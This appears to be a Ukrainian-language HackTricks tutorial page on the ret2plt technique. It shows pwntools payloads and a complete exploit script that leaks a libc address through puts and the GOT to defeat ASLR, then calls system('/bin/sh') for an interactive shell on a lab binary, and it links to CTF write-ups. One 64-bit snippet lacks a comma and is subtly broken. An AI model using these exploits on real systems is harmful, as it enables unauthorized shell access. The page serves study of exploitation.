79 lines
4.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Ret2plt
{{#include ../../../banners/hacktricks-training.md}}
## Основна інформація
Метою цієї техніки є **витік адреси з функції з PLT**, щоб обійти ASLR. Це пов'язано з тим, що, наприклад, якщо ви витечете адресу функції `puts` з libc, ви зможете **обчислити, де знаходиться база `libc`** і обчислити зсуви для доступу до інших функцій, таких як **`system`**.
Це можна зробити за допомогою корисного навантаження `pwntools`, такого як ([**звідси**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
```python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
```
Зверніть увагу, як **`puts`** (використовуючи адресу з PLT) викликається з адресою `puts`, розташованою в GOT (Global Offset Table). Це відбувається тому, що до моменту, коли `puts` виводить запис GOT для `puts`, цей **запис міститиме точну адресу `puts` в пам'яті**.
Також зверніть увагу, як адреса `main` використовується в експлойті, тому коли `puts` закінчує своє виконання, **бінарний файл знову викликає `main`, а не виходить** (тому адреса, що витекла, залишиться дійсною).
> [!CAUTION]
> Зверніть увагу, що для того, щоб це спрацювало, **бінарний файл не може бути скомпільований з PIE** або ви повинні **знайти витік, щоб обійти PIE**, щоб знати адресу PLT, GOT і main. В іншому випадку, спочатку потрібно обійти PIE.
Ви можете знайти [**повний приклад цього обходу тут**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Це був фінальний експлойт з того **прикладу**:
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
```
## Інші приклади та посилання
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 біти, ASLR увімкнено, але без PIE, перший крок - заповнити переповнення до байта 0x00 канарки, щоб потім викликати puts і витягти його. З канаркою створюється ROP гаджет для виклику puts, щоб витягти адресу puts з GOT, а потім ROP гаджет для виклику `system('/bin/sh')`
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 біти, ASLR увімкнено, без канарки, переповнення стеку в main з дочірньої функції. ROP гаджет для виклику puts, щоб витягти адресу puts з GOT, а потім викликати один гаджет.
{{#include ../../../banners/hacktricks-training.md}}